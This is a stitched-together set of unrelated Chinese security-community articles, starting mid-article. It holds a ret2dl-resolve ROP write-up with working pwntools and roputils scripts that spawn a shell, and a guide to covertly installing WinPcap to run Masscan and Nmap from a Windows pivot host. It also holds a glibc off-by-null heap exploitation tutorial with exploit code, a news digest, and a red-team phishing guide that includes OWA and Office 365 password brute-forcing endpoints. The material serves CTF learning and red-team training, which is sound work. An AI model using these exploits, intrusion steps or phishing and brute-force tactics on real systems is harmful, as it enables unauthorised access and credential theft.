rop2.raw(padd) #16
rop2.raw(padd) #20
rop2.raw(fake_rel) # 24
paddoffset = 12
rop2.raw('B'* paddoffset) # 32
rop2.raw(fake_elf32_sym) # 44
# sizeof(fake_dynsym_addr)=0x10 所以下面那个就是system符号
rop2.raw('system\x00') # 60
print(len(rop2.chain()))
rop2.raw('B'*(90 - len(rop2.chain())))
rop2.raw(binsh+'\x00')
rop2.raw('B'*(100 - len(rop2.chain())))
log.success("bss:" + str(hex(addr_bss)))
log.success("control_base:" + str(hex(control_base)))
log.success("align:" + str(hex(align)))
log.success("fake_dynsym_addr - dynsym:" + str(hex(fake_dynsym_addr - dynsym)))
log.success("fake_dynsym_addr:" + str(hex(fake_dynsym_addr)))
log.success("binsh:" + str(hex(control_base+82)))
io.sendline(rop2.chain())
io.interactive()
这里计算难点是在这里:
padd = 'B'*4
# 下面就是往control_base(bss+0x800)写入fake_dynsym表
# linkmap
rop2.raw(plt0) # 0
# offset
rop2.raw(rel_plt_offset) # 4
# ret
rop2.raw(padd) #8
# binsh位置
rop2.raw(control_base+90) #12
rop2.raw(padd) #16
rop2.raw(padd) #20
rop2.raw(fake_rel) # 24
paddoffset = 12
rop2.raw('B'* paddoffset) # 32
rop2.raw(fake_elf32_sym) # 44
# sizeof(fake_dynsym_addr)=0x10 所以下面那个就是system符号
rop2.raw('system\x00') # 60
首先
fake_dynsym_addr = control_base + 36
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr += align
首先我们设置了fake_dynsym_addr是在control_base偏移36处,但是对齐之后+align,那么偏移就是44了
还有就是size(fake_rel)结构大小为8,
paddoffset = 12 其实就是:paddoffset = fake_elf32_sym-control_base-32
paddoffset = 44 - len(rop2.chain())
rop2.raw('B'* paddoffset) # 32
rop2.raw(fake_elf32_sym) # 44
这样也是ok的,填满90,之后设置/bin/sh,就是参数地址了。
### 0x6.2 roputils一把梭
import sys
import roputils
from pwn import *
context.log_level = 'debug'
r = process("./pwn")
# r = remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com", "56833")
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')
buf1 = 'A' * 0x2c
buf1 += p32(0x8048390) + p32(0x804852D) + p32(0) + p32(addr_bss) + p32(100)
r.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss + 20, 'system')
buf2 += rop.fill(100, buf2)
r.send(buf2)
buf3 = 'A' * 0x2c + rop.dl_resolve_call(addr_bss + 20, addr_bss)
r.send(buf3)
#gdb.attach(r)
r.interactive()
这个程序师傅们写的,这里我分析下程序结构
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss') # 获取bss段地址
buf1 = 'A' * 0x2c
buf1 += p32(0x8048390) + p32(0x804852D) + p32(0) + p32(addr_bss) + p32(100)
r.send(buf1)
# rop1 这里调用了read的plt,返回地址double overflow,
# 主要作用是迁移栈到bss段
# 这段代码可以简化,多利用下rop函数就好了
# buf = 'A' * 0x2c + rop.call('read', 0, addr_bss, 100)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss + 20, 'system')
# addr_bss + 20 这是我们可控的区域,dl_resolve_data会自动对齐
buf2 += rop.fill(100, buf2)
r.send(buf2)
# 上面就是伪造结构的过程,
buf3 = 'A' * 0x2c + rop.dl_resolve_call(addr_bss + 20, addr_bss)
关于roputils的原理可以参考下: [ROP之return to dl-resolve](http://rk700.github.io/2015/08/09/return-to-dl-resolve/)
## 0x7 总结
本文更多是简化各位大师傅们的文章,因为笔者在学习高级ROP过程中,阅读了各位师傅们的文章之后感觉还是有些地方不是很明白，所以自己集百家之长写了这么一篇自我而言比较好理解的高级ROP文章,当作PWN入门系列栈的收尾,堆开端的预兆。
## 0x8 参考链接
[高级ROP：Ret2dl_resolve技术详解 ](https://www.anquanke.com/post/id/177450)
[高级ROP ret2dl_runtime 之通杀详解](https://xz.aliyun.com/t/5122)
[[原创][新手向]ret2dl-resolve详解](https://bbs.pediy.com/thread-227034.htm)
[baby_pwn wp](https://www.ctfwp.com/articals/2019national.html#babypwn)
[ret2dl_resolve从原理到实践](https://xz.aliyun.com/t/6471) | 社区文章 |
## 0x00 前言
在内网渗透中，信息搜集尤为重要。
面对内网的复杂环境，虽说网络扫描容易暴露自己，但通过扫描可以发现内网的存活主机、开放端口，运行服务、操作系统等信息，为进一步渗透奠定基础。
扫描工具的选取，不仅要考虑功能，更要考虑工具的适用性。
现实中的跳板通常并不是一台Linux服务器，没有合适的环境安装Nmap、Zmap和Masscan。
换句话说，可在Windows下直接使用的命令行扫描工具有哪些呢？ 知名的开源扫描工具Nmap、Zmap和Masscan，三款工具在功能上各有特色。
在适用性上，Zmap在Windows下使用需要安装Cygwin，因此不在考虑范围内。
Masscan支持Windows平台的编译，Nmap提供命令行版本，看起来Masscan和Nmap符合要求。
但是，Masscan和Nmap的使用均需要WinPcap的支持，也就是说，使用前均需要安装WinPcap。
那么，能否通过命令行安装WinPcap呢？
## 0x01 简介
本文将要要解决以上问题，介绍内容如下：
1. Windows平台编译Masscan
2. Windows命令行安装WinPcap
3. Masscan使用介绍
4. Nmap配置和使用介绍
## 0x02 Windows平台编译Masscan
Masscan下载地址：
<https://github.com/robertdavidgraham/masscan/>
编译工具：vs2012
编译选项中未添加vs2012的编译配置，所以直接编译会报错
解决方法：
在string_s.h中添加vs2012配置信息
位于misc-string_s.h,添加代码如下：
#if defined(_MSC_VER) && (_MSC_VER == 1700)
/*Visual Studio 2012*/
# include <stdio.h>
# include <string.h>
# define strcasecmp _stricmp
# define memcasecmp _memicmp
# ifndef PRIu64
# define PRIu64 "llu"
# define PRId64 "lld"
# define PRIx64 "llx"
# endif
编译成功，执行masscan.exe，提示Packet.dll: not found
如下图
Packet.dll获取方法：
安装WinPcap后在System32下获得
WinPcap下载地址：
<https://www.winpcap.org/install/default.htm>
在另一系统安装WinPcap，在System32下找到Packet.dll和Wpcap.dll，复制到测试系统下masscan.exe的同级目录，再次运行
程序正常启动，但是无法扫描，报错如下：
FAIL: Error opening adapter: 系统找不到指定的设备。 (20)
`adapter[DeviceNPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed`
疑问：测试系统也需要安装WinPcap才能使用？
经实际测试，确实如此
## 0x03 Windows命令行安装WinPcap
测试32位系统：
使用ProcessMonitor监控WinPcap安装过程（32位系统），获得如下信息：
1. 在system32文件夹下释放packet.dll和wpcap.dll
2. 在system32drivers释放npf.sys
3. 安装服务npf
通过sc命令获得安装服务npf的配置信息：
`sc qc npf`
获取信息如下：
[SC] QueryServiceConfig 成功
SERVICE_NAME: npf
TYPE : 1 KERNEL_DRIVER
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : system32driversnpf.sys
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NetGroup Packet Filter Driver
DEPENDENCIES :
SERVICE_START_NAME :
如下图
查看运行状态：
`sc query npf`
获取信息如下：
SERVICE_NAME: npf
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
如下图
对应的注册表会创建键值，表示服务配置信息，位置如下：
HKEY_LOCAL_MACHINESYSTEMControlSet001Servicesnpf
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesnpf
如下图
如下图
猜测，只要能够模拟上述安装操作,就能够实现WinPcap在命令行下的安装
模拟安装操作如下：
1、释放文件
copy packet.dll %SystemRoot%system32
copy wpcap.dll %SystemRoot%system32
copy npf.sys %SystemRoot%system32drivers
2、创建服务
sc create npf binPath= system32driversnpf.sys type= kernel start= demand error= normal tag= no DisplayName= "NetGroup Packet Filter Driver"
3、启动服务
`sc start npf`
测试命令如下：
`masscan.exe -p80 192.168.81.143`
成功执行masscan.exe，如下图
测试64位系统：
使用ProcessMonitor监控WinPcap安装过程（32位系统），获得如下信息：
1.在system32文件夹下释放64位packet.dll和wpcap.dll
2.在system32drivers释放64位npf.sys
3.在syswow64文件夹下释放32位packet.dll、wpcap.dll和pthreadVC.dll
4.安装服务npf
经实际测试和优化，在64位环境下执行32位的masscan.exe，不需要64位的packet.dll和wpcap.dll，不需要32位的pthreadVC.dll，仅需要安装64位驱动npf.sys
并且，无论是32位还是64位系统，packet.dll和wpcap.dll放在masscan.exe同级目录即可（当然，由于是vs2012编译，还需要msvcr110d.dll）
也就是说，针对32位和64位系统，只需要向system32drivers文件夹复制不同版本的npf.sys即可
接着创建服务npf并安装，整个流程结束
将以上过程通过批处理自动实现，一键安装脚本代码如下：
@echo off
cd %~dp0
if "%PROCESSOR_ARCHITECTURE%"=="x86" move npf_x86.sys %SystemRoot%system32driversnpf.sys
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" move npf_x64.sys %SystemRoot%system32driversnpf.sys
if exist %SystemRoot%system32driversnpf.sys (echo move success!) else (echo move error!)
sc create npf binPath= system32driversnpf.sys type= kernel start= demand error= normal tag= no DisplayName= "NetGroup Packet Filter Driver"
sc start npf
相关代码和所需dll文件已上传至github，地址如下：
<https://github.com/3gstudent/Winpcap_Install>
## 0x04 Masscan使用介绍
扫描指定网段和端口：
`masscan.exe -p80 192.168.81.1/24`
找到一台开启80端口的服务器，回显如下：
`Discovered open port 80/tcp on 192.168.81.143`
扫描指定主机所有开放的端口：
`masscan.exe -p0-65535 192.168.81.143`
如下图
扫描指定主机的特定端口：
`masscan.exe -p80,443 192.168.81.143`
获取banner：
`masscan.exe -p80,443,3306 192.168.81.143 --banners`
通过配置文件启动扫描：
将配置信息保存在1.conf:
`masscan.exe -p80,443,3306 192.168.81.143 --banners --echo>1.conf`
读取配置信息1.conf，启动扫描:
`masscan.exe -c 1.conf`
修改扫描速度为100,000包/秒（Windos下最大为 300,000包/秒），默认100包/秒：
`--rate 100000`
输出格式：
-oX <filespec> (XML)
-oB <filespec> (Binary)
-oG <filespec> (Grep)
-oJ <filespec> (Json)
-oL <filespec> (List)
-oU <filespec> (Unicornscan format)
补充，默认情况，masscan开启如下配置：
-sS: this does SYN scan only (currently, will change in the future)
-Pn: doesn't ping hosts first, which is fundamental to the async operation
-n: no DNS resolution happens
--randomize-hosts: scan completely randomized
--send-eth: sends using raw libpcap
## 0x05 Nmap配置和使用介绍
NmapZip版下载地址：
<https://nmap.org/dist/nmap-7.50-win32.zip>
使用Nmap也要在命令行提前安装WinPcap
还要添加vs2013的dll：msvcp120.dll和msvcr120.dll(Nmap.exe通过vs2013编译)
去掉不相关文件，精简nmap,最终需要的支持文件列表如下：
libeay32.dll
msvcp120.dll
msvcr120.dll
nmap-mac-prefixes
nmap-os-db
nmap-payloads
nmap-services
nmap.exe
ssleay32.dll
扫描指定网段和端口：
`nmap.exe -p80 192.168.81.1-255`
或者
`nmap.exe -p80 192.168.81.1/24`
扫描IP地址列表：
`nmap.exe iL IP.txt`
扫描指定主机所有开放的端口：
`nmap.exe 192.168.81.143`
扫描指定主机的特定端口：
`nmap.exe -p80,443 192.168.81.143`
操作系统探测(-O)：
`nmap.exe -O 192.168.81.143`
端口上运行的服务版本探测(-sV)：
`nmap.exe -sV 192.168.81.143`
端口扫描如下图
版本检测如下图
通过对比可知版本检测能够识别端口上的服务版本
注：
恢复版本检测(-sV)需要添加以下文件：
`nse_main.lua nmap-service-probes nselib文件夹及文件夹内的文件 scripts文件夹及文件夹内的文件`
路由信息探测(–traceroute)
`nmap.exe --traceroute 192.168.81.143`
* 综合探测（-A）
包括操作系统、服务版本和路由信息，也就是以上三者的集合
`nmap.exe -A 192.168.81.143`
扫描方式支持如下参数：
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
常用扫描方式介绍：
TCP SYN Scan(-sS)
·半开放扫描(half-open scanning)，没有建立三次握手连接，速度很快
·nmap默认扫描方式
TCP connect scan(-sT)
·完成三次握手过程（SYN，SYN/ACK，ACK），当然，速度会降低
·容易被检测
Udp scan(-sU)
·扫描UDP端口
TCP Null/FIN/Xmas scan(-sN/-sF/-sX)
·用来判断端口是否开放
·能够绕过一些无状态防火墙
Null scan (-sN)
·不设置任何标志位(tcp标志头是0)
FIN scan (-sF)
·只设置TCP FIN标志位
Xmas scan (-sX)
·设置FIN，PSH，和URG标志位
TCP ACK scan(-sA)
·不用于确定端口是否开放
·用于发现防火墙规则，确定防火墙规则是有状态的还是无状态的，哪些端口是被过滤的
·只设置ACK标志位
Custom TCP scan(–scanflags)
·手动指定任意TCP标志位来设计自定义扫描
·可用于绕过入侵检测系统
·需要对通信协议有深入的理解
Idle scan(-sI)
·伪造扫描源地址
注：
该源地址主机必须在线
也可伪造源端口，默认为80端口
伪造源端口格式如下：
`<zombie host[:probeport]>`
实例：
nmap.exe -sI 192.168.81.1：1234 192.168.81.143
PING Scan(-sP)
·使用ping来扫描主机是否在线
No PING Scan(-PN)
·不用ping进行扫描
注：
PN两个字母大写
输出格式：
-oN <filespec> (标准)
-oX <filespec> (XML)
-oS <filespec> (ScRipT KIdd|3 oUTpuT)
nmap默认输出均为大写格式，使用-oS会随机改写字母大小写
-oG <filespec> (Grep)
-oA <basename> (输出至所有格式)
设置文件名称，一次性输出标准(.nmap)、XML(.xml)和Grep(.gnmap)三种格式的文件
注：
<https://nmap.org/book/>可获得更多Nmap使用介绍
## 0x06 小结
本文介绍了Windows平台下命令行使用Masscan和Nmap的方法，同时站在防御的角度提醒大家，内网安全同样重要，要谨慎对待。
>本文为 3gstudent 原创稿件， 授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑：
<http://www.4hou.com/penetration/6173.html> | 社区文章 |
# glibc 2.29-2.32 off by null bypass
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
在glibc2.29以上版本，glibc在unlink内加入了prevsize check，而通过off by
null漏洞根本无法直接修改正常chunk的size，导致想要unlink变得几乎不可能。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
通过这样的检测，使得我们无法使用[house_of_einherjar](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_einherjar.c?fileGuid=HdcWcwpGpCrQpjXX)的方法进行构造堆重叠，所以在2.29以上版本，off
by null 的利用只有唯一的方法 —— 伪造 FD 和 BK。
但是伪造 FD 和 BK也不是容易的事情，我们需要绕过以下检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
这个检测对于双向链表来说是显然成立的，但是对于我们想要伪造FD和BK来说却成为了一个大麻烦，本文将会根据不同的题目限制条件来讲解绕过方法。
而且为了文章的全面性，我会加入一些老生常谈的绕过方法，如果读者觉得某一部分自己已经掌握则可以选择性的跳过。
## unlink
### unlink的目的
当目前要 free 的位置旁边有空闲的块，则考虑 unlink 把将要 free 的块，和相邻空闲的块合并。
### unlink 的类型
1. 向前合并，也就是上面那块是空闲的，我们要 free 后面那一块
2. 向后合并，也就是下面那一块是空闲的，我们要 free 前面那一块。
### 如何产生unlink
若本堆块 size 域中的 p 标志位为 0（前一堆块处于释放状态），则利用本块的 pre_size 找到前一堆块的开头，将其中 bin
链表中摘除（unlink），并合并这两个块，得到新的释放块。
也就是说，我们要 **让堆块 size 域中的 p 标志位为 0，并设置合适的pre_size** 。
### 注意
当申请size为0xF8，也就是说结构体中size = 0x101的时候，我们如果使用off by
null来覆盖，正好可以把该size的p标志位变成0，其他size的情况，可以考虑用off by one来设置。
而pre_size在我们的可控堆块中，可以直接修改。
在以下部分中，会着重于对于堆块FD和BK检测的构造，而 **不强调p标志位和prev_size**
的修改。（这两者的修改，在不同情况下也会遇到不同的阻碍，但由于篇幅问题，不是本文的重点）
## NO PIE
在NO PIE的情况下绕过对FD和BK的检测是非常容易的，所以这也同样是一种入门的堆题利用方法，是初学者一定要掌握的。
NO PIE意味着我们可以直接劫持程序中用于 **储存堆块指针的数组** ，因为在这个数组中储存着指向堆块内容部分的指针
### **unlink前的内存排布**
### **构造我们的堆块**
### **unlink后的chunk指针数组**
## 可泄露堆地址
在可泄露堆地址的题目中，我们也可以使用类似于NO PIE情况时候的方法，在堆块上伪造一个要unlink堆块的指针来绕过判定。
我们可以在堆上随便找个地址，比如0x20位置(fake_ptr)等等，并且把他的内容设置为chunk，这样fd和bk的内容就可以类似于 **NO PIE**
的情况时，让fd = fake_ptr – 0x18，bk = fake_ptr – 0x10，即可绕过检测实现unlink。
### 泄露堆基址的方法
**利用tcache**
构造两个相同size的堆块a和b，我们先free(a)让他进入到tcache中，再free(b)也让他进入到tcache中。这时候，在堆块b的next位置就存在着堆块a的地址，我们leak出来就能够得到堆地址。
**在glibc2.32版本中** 新加入了一个key会对tcache
next的内容进行异或，我们可以申请一个堆块a，并且free(a)，直接leak就可以得到堆地址 >> 12，我们计算一下就可以得到了。
关于这部分改动，想要了解的可以看：[http://blog.wjhwjhn.com/archives/186/](http://blog.wjhwjhn.com/archives/186/?fileGuid=HdcWcwpGpCrQpjXX)
**利用fastbin**
类似于tcache的思路，这里不再重复。
**利用unsorted bin**
当unsorted bin链上有两个堆块的时候，其中一个堆块的fd会指向另一个堆块，我们可以直接leak得到，并计算出堆基址。
**利用largebin**
如果堆块在largebin中，他的 **fd_nextsize** 和 **bk_nextsize** 都会指向堆块地址，可以泄露出。
## 不可泄露堆地址
不可泄露堆地址的各种方法归根结底都是通过 **部分写入** 和 **各种堆管理器的性质** 来达到目的。
这里会分成三种方法来讲，可以根据使用场景来选择，最好都要了解和掌握。
### 1.RPISEC战队的思路
这个方法我是从[Ex的博客](http://blog.eonew.cn/archives/1233?fileGuid=HdcWcwpGpCrQpjXX)上看到的，虽然复杂且不实用，但是构造巧妙，这里不得不提及一下。
**基本思路**
1.让一个堆块进入到largebin中，这时候他的fd_nextsize和bk_nextsize都是堆地址。我们从这个largebin chunk +
0x10的地方开始伪造堆块叫做fake chunk。
2.利用部分写入来覆盖fake
chunk的fd指针（largebin->fd_nextsize），使其指向一个有堆地址的堆块，并且再用部分写入把那个堆块的堆地址指向fake chunk。
3.利用fastbin或tcache在fd位置（largebin chunk + 0x10）踩出一个堆地址，并且部分写入指向fake
chunk。这时候由于fake chunk的bk指针（largebin->bk_nextsize）是指向这个地方的，所以绕过了检测。
首先我们来看一下large bin chunk是怎么样的
我们要伪造成
**1.修复 fake fd**
我们利用部分写入来修改fake fd修改到另一个可控堆块上，这个堆块上需要有一个堆地址（这个堆地址可以通过 unsorted bin、small
bin等等来实现）
然后我们部分写入，覆盖这个堆地址的低字节，使其指向我们伪造的fake chunk，也就是largebin chunk + 0x10的位置。
**2.修复 fake bk**
由于fake fd我们要部分写入来覆盖，所以fake bk的内容我们是无法修改的，这时候他指向的位置就是largebin chunk +
0x10，所以我们需要想办法在largebin chunk + 0x10的地方写入一个largebin chunk + 0x10的地址。
**方案1：使用tcache**
我们可以利用off by null将size改小一些，使得这个size在tcache的范围内。
然后先释放a，再释放largebin chunk，这时候再largebin chunk +
0x10的位置就会有一个a的指针。我们再用部分写入将指针改写成largebin chunk + 0x10的地址。
**在glibc 2.29以上版本** 加入了一个key结构用于检测doube
free，所以tcache的方法不再可行了，因为这个key的位置正好就是在bk（fake size）的位置，这会导致我们的fake
size被复写。而我们又因为要用部分写入来改写next指针，所以无法还原fake size的内容。
**方案2：使用fastbin**
使用fastbin就没有key结构来干扰fake
size了，但是由于fastbin的申请size有限，所以如果使用这个方法，需要保证能够申请出fastbin size的堆块。
如果可以申请出堆块，操作方法和tcache一样就可以。
这种方法是早期经常使用的方法，但是犹豫限制条件过多并且比较繁琐。所以现在的题目一般都无法使用这种方法。
### 2.利用unsorted bin和large bin链机制
这部分内容如果利用得当，可以在题目的苛刻的条件下（如会在末尾写入\x00等…）也可以无需爆破伪造堆块，属于本文的重头戏。
本部分演示使用的例题是来自NepCTF的由FMYY师傅所出的 **NULL_FXCK**
，该题目做法多样化且构造堆块技巧性强，是一道非常完美的压轴pwn题，在比赛中也只有cnitlrt师傅（orz）一人完成。
官方wp采用large
bin链机制来伪造FD和BK，爆破1/16几率成功，我在这里讲解的做法，不需要爆破就可以成功，大大提高了效率。由于后续部分脱离本篇的主题，故这里只讲解构造unlink的方法。之后的利用部分也是非常的有意思，让我不禁感叹
FMYY YYDS，如果之后有时间的话，也会对后面的内容的多种做法进行讲解。
### 基本思路
**1.在fd和bk写堆地址**
如下图所示，堆块0x55555555bc00是我们要用于构造的堆块地址。
通过unsorted bin 链表我们让这个堆块的fd和bk都写了一个堆地址
**构造图：**
其中辅助堆块的作用在之后会提及
**构造代码：**
add(0x418) #0 fd
add(0x108) #1
add(0x418) #2
add(0x438) #3
add(0x108) #4
add(0x428) # 5 bk
add(0x108) # 6
delete(0)
delete(3)
delete(5)
**2.在伪造堆块附近申请堆块**
由于我们要通过部分写入的方法来绕过检测，而在堆空间中，只有低三字节是固定的。
所以我们为了逃避爆破，希望能够找到只需要覆盖最低一字节就可以修改成fake
chunk的地址，于是我们应该利用在fake堆块附近0x100内的堆块来作为辅助堆块写地址，
**之前申请的辅助堆块就是起到了这个作用，我们可以利用这个堆块来进行重分配，使得分配的地址非常贴近利用堆块** 。
**构造图：**
可以发现，我们先让辅助堆块和利用堆块合并之后再对空间进行重新分配，使得堆块2恰好可以覆盖到之前利用堆块的size，且堆块3的0x55555555bc20，十分贴近之前0x55555555bc00，只需要抹去最低一字节即可。
**构造代码：**
delete(2) #2 & 3 unlink
add(0x438, 'a' * 0x418 + p64(0xA91)) # 0 set size
add(0x418) # 2 c20
add(0x428) # 3 bk 150
add(0x418) # 5 fd 2b0
**注意：**
分配完成之后，我们再把全部堆块申请回来，这可能并不是步骤最少的做法，但是全部申请回来可以使得操作有条理，使得我们构造过程中出现的问题减少。
**3.修复 fake fd**
**修复思路：**
我们在之前的状态下，先删除 **fake- >FD堆块**，再删除 **重分配堆块2（辅助堆块）** 。我们就可以在 **fake->FD堆块的BK位置**写入一个 **重分配堆块2（辅助堆块）** 的值
再用部分写入一字节来覆盖，覆盖成 **利用堆块** 的指针
最后再把bc20这个辅助堆块申请回来，方便下一次使用。
**构造代码：**
# partial overwrite fd -> bk by unsorted bin list
delete(5)
delete(2)
add(0x418, 'a' * 9) # 2 partial overwrite bk
add(0x418) # 5 c20
**4.修复 fake bk**
**修复思路：**
在我示例的这道题下，使用unsorted bin来修复另外 **fake bk** 是很难的，这是因为这道题如果要进unsorted
bin的堆块，size大小要大于等于0x418，而这个size是在largebin范围内的。
所以如果我使用不同size申请的方法，错开 **辅助堆块** 去直接申请 **fake bk堆块（因为如果要在fake bk->fd的位置写堆值，那么在遍历的时候一定是先遍历到辅助堆块，所以需要错开辅助堆块先去申请fake
bk堆块，我想到的方法就是申请一个辅助堆块无法提供的size来错开。但事实上，错开辅助堆块会使得辅助堆块进入largebin中，从而与原来的fake
bk断链，这样原来已经写上的堆地址也不复存在）**，因为这个原因所以这部分我要先让堆块进入largebin再用 **类似于修复fake
fd的方法进行修复。**
先删除 **重分配堆块2（辅助堆块）** ，再删除 **fake- >BK堆块**（注意：这里和上面顺序不一致，这是因为想要写入堆块地址的位置不一致）
再让堆块进入到largebin 中
再使用部分写入恢复 **fake bk**
构造代码：
# partial overwrite bk -> fd by largebin list
delete(5)
delete(3)
add(0x9F8) # 3 chunk into largebin
add(0x428, 'a') # 5 partial overwrite fd
add(0x418) # 7 c20
**5.伪造prev_size，off by null修改size的p标志位**
这部分内容不是本文重点故略过
**构造代码：**
# off by null
add(0x108, p64(0) + p64(0x111)) # 8
edit(6, 'a' * 0x100 + p64(0xA90))
delete(3) # unlink
### 小结
不可泄露堆块地址伪造的根本思想就是通过部分写入来篡改地址到另一个位置。在这个过程中，应当要灵活应变，不能死板的套代码。在必要的时候，牺牲爆破时间来提高调试速度和exp编写速度也是有必要的。
## 总结
通过对本篇文章的学习，相信各位师傅已经能够对于高版本glibc的构造堆块重叠部分得心应手了，但新版glibc的魅力远远只是这篇文章所描述的那么简单，仍然还有很多方法和技巧值得我们去挖掘，希望可以通过这篇文章来引导各位师傅走向探索新版glibc的道路，也希望各位师傅能够把自己在题目中学到的知识能够总结共享出来，这样既可以加深自己的理解，也可以为对相同内容有疑问的师傅答疑解惑。 | 社区文章 |
# 【知识】10月20日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Google Play再次发现恶意软件Android.Sockbot、 ** **SSH安全问题暴露后攻击者开始扫描SSH密钥****
、ProofPoint研究员发现APT28组织对Flash的CVE漏洞利用、Miscreant:一款多语言加密库详细介绍、通过Bashrc与Bash实现攻击持久化、影子经纪人”envisoncollision”利用分析。**
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
Google Play再次发现恶意软件Android.Sockbot
**资讯类：**
SSH安全问题暴露后攻击者开始扫描SSH密钥
<https://www.bleepingcomputer.com/news/security/attackers-start-scans-for-ssh-keys-after-report-on-lack-of-ssh-security-controls/>
**技术类：**
ProofPoint研究员发现APT28组织对Flash的CVE漏洞利用
<https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed>
分析包、解码、定位等信息的开源渗透工具
<https://github.com/medbenali/CyberScan>
消灭CSRF
<https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f>
Miscreant:一款多语言加密库详细介绍
<https://tonyarcieri.com/introducing-miscreant-a-multi-language-misuse-resistant-encryption-library>
通过Bashrc与Bash实现攻击持久化
<https://ratil.life/att-ck-matrix-persistence-bashrc-bash_profile/>
影子经纪人”envisoncollision”利用分析
<https://steemit.com/security/@shadoweye/analysis-of-the-shadowbrokers-envisoncollision-exploit>
TP-Link RCE（CVE-2017-13772）分析
<https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/>
FridaWorkshop——分析应用利器
<https://github.com/DigitalInterruption/FridaWorkshop>
基于Xen的轻型虚拟机
<https://github.com/sysml/lightvm>
红队详解，过程细分
<https://www.redcanary.com/blog/atomic-red-team-testing/>
开源JA3——用于恶意软件检测的SSL/TLS指纹识别
<https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41>
DDE与Locky结合的恶意软件IOC
<https://pastebin.com/89nW5Km8> | 社区文章 |
**译者：zzzhhh**
**作者：Charles F. Hamilton**
### 0、记录
内容由《A-Journey-Into-a-RedTeam-2018.pdf》这篇PPT所翻译而来。
PPT讲解点如下：
* 0x1 红队测试的意义
* 0x2 识别目标
* 0x3 钓鱼式攻击
* 0x4 创建有效载荷
* 0x5 狩猎
* 0x6 工具和技巧
### 1、红队测试的意义
* 0x1 评估客户对威胁行为的反应能力
* 0x2 通过实现预演（访问CEO电子邮件、访问客户数据等）来评估客户网络的安全态势。
* 0x3 演示攻击者访问客户端资产的潜在路径
### 2、识别目标
假设主要攻击方向是钓鱼式攻击，那么需要做好以下几点准备：
* 创建目标列表
* 识别安全产品
* 选择钓鱼式攻击的主题
#### 2.1 图片上的蛛丝马迹
Facebook提供的图片会有一些员工姓名信息
搜索与目标电子邮件地址相关的公开密码库、搜索github，pastebin等。如果攻击者足够幸运的话，甚至可以获取密码。OWA和Office
365都是很有价值的服务应用。
#### 2.2 OWA的预置模式
* 泄漏的GAL:
https://your.target/owa/service.svc?action=GetPeopleFilters
* 没有MFA的情况下，暴力破解密码+读，写电子邮件。：
https://your.target/EWS/Exchange.asmx
**注：** MFA(Multi-factor authentication,多因素认证)
<https://www.alibabacloud.com/help/zh/doc-detail/28635.htm?spm=a2c63.p38356.a3.3.9ce4491cl7YWpe>
#### 2.3 云端的Office365
* 读写电子邮件：
https://outlook.office365.com/api/v1.0/
* 暴力破解密码：
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
#### 2.4 利用shadon
通过Shodan寻找受攻击目标公共IP范围的以下几类服务：
* * Citrix portals
* * OWA
* * VPN
* * 任何可以远程认证的服务
针对这些服务使用暴力破解，因为这些远程认证服务可能没有强制2FA认证。打个比方，至少有一个账户会存在“Summer2018”这个密码。
**注：** 2FA,2 Factor Authentication,双因子验证,是一种安全密码验证方式。
#### 2.5 发送电子邮件到一个不存在的帐户，等待返回错误信息
通过错误邮件返回的邮件信息可以判断对方邮件服务器当前使用的安全软件，配置的安全策略等。
#### 2.6 通过邮件搜索社交网站，比如LinkedIn
**注：** 也可以是任意的社交招聘类网站平台
#### 2.7 通过目标的企业网站获取网络钓鱼攻击的主题
通过以下两类事件指定网络钓鱼攻击的主题。
* 判断目标有忠诚度计划吗？
* 即将出现的特殊事件 ？
### 3、钓鱼式攻击
* 规则0x1：不要把恶意的有效Payload放入电子邮件
* 规则0x2：不要让自动化解决方案发觉到攻击者最后阶段的行为
* 规则0x3：使用分类域名
* 规则0x4：使用HTTPS
* 规则0x5：钓鱼主题-尽可能的无聊
* 规则0x6：避免使用拼写错误的域名
* 规则0x7：不要重复使用同样的域名
#### 3.1 不要把恶意的Payload放入电子邮件
